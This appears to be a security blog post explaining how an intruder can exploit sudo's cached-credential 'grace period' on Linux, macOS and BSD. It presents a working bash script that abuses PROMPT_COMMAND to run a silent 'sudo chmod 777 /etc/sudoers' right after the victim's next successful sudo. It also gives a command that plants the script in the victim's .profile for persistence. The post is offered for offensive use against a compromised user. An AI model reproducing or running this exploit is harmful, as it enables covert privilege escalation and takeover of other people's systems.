Exploiting sudo's grace period

by *Nicolas SURRIBAS* a.k.a. *devloop*

What is sudo's grace period

When a user first call *sudo* to launch some commands as root he will be asked for his own password.
But if the user calls *sudo* again in the following 5 minutes, he won't be asked for the same password.
That's because the password is cached in memory for a period of time called the *« grace period »*.
This grace period mechanism is activated by default on every systems I know where *sudo* can be found (Linux distros, OSX, BSDs…)

Attack scenario

Let's say you hacked your way into *bob*'s computer using some social-engineering, trojan or/and client-side exploit.
By reading *bob*'s *.bash_history* file you saw that he sometimes calls *sudo* to achieve some administration tasks that can only be done as root.

So you can just wait there, on the system, for *bob* to launch the *sudo* command and then launch your own *sudo* command in the 5 following minutes and in the same terminal to compromise the system, putting some setuid binary, adding a privileged user or injecting some kernel rootkit.

But there are chances that *bob* notice you are connected and he will kick you out of his computer, making sure you won't come back.

Exploitation

How can we automate this exploitation ? By using some *bash*'s special features we can make *bash* launch our evil commands right after *sudo* was called and we don't need to be connected when the exploitation occurs.

First feature is well known : *bash*'s history. By just looking at the last called command we can know if it was a *sudo* command.

Second feature is bash special variable *$?* giving the return status of the previous command. This way we can know if *sudo* was launched successfully.
However some details must be taken into consideration :

Upon successful execution of a program, the exit status from sudo will simply be the exit status of the program that was executed. Otherwise, sudo exits with a value of 1 if there is a configuration/permission problem or if sudo cannot execute the given command.

Last feature is a less known environment variable called *PROMPT_COMMAND*.

This special environment variable can contain some bash commands which will be executed every time the environment variable *$PS1* is displayed… In other words after each command typed in the console... Do you known what I mean ? :-)

Code

Here is the exploit code (*sudo_grace_period_exploit.sh*) :

```
function bash_history {
  if [ $? -ne 1 ] # previous command was successfull
  then
    if [ -z "${PWNED+xxx}" ] # this test is used to check if the system was already pwned
    then
      history 1 | grep -q -E '^[[:space:]]*[0-9]+  sudo '
      if [ $? -eq 0 ] # previous command is a sudo one
      then
        sudo chmod 777 /etc/sudoers 2> /dev/null
        PWNED="yes"
        unset PROMPT_COMMAND 2> /dev/null
      fi
    fi
  fi
}

PROMPT_COMMAND=bash_history
```

This exploit code will add a new function called *bash_history* and set it in *PROMPT_COMMAND*.

This way our function is being called after each typed command and if it is a successful *sudo* command it will *chmod /etc/sudoers* to *777*.

To make sure the exploit is called you just have to add this exploit code to *bob*'s *.profile* (or *.bashrc*) file and come back later to see if bob is fallen into the trap :

```
cat sudo_grace_period_exploit.sh >> .profile
```

This attack was tested successfully on Linux, OSX and BSD.
Hope you enjoy.

French version:
http://devloop.users.sourceforge.net/index.php?article83/exploiter-la-grace-period-de-sudo-sur-mac-os-x-linux-bsd

Wapiti web application vulnerability scanner:
http://wapiti.sourceforge.net/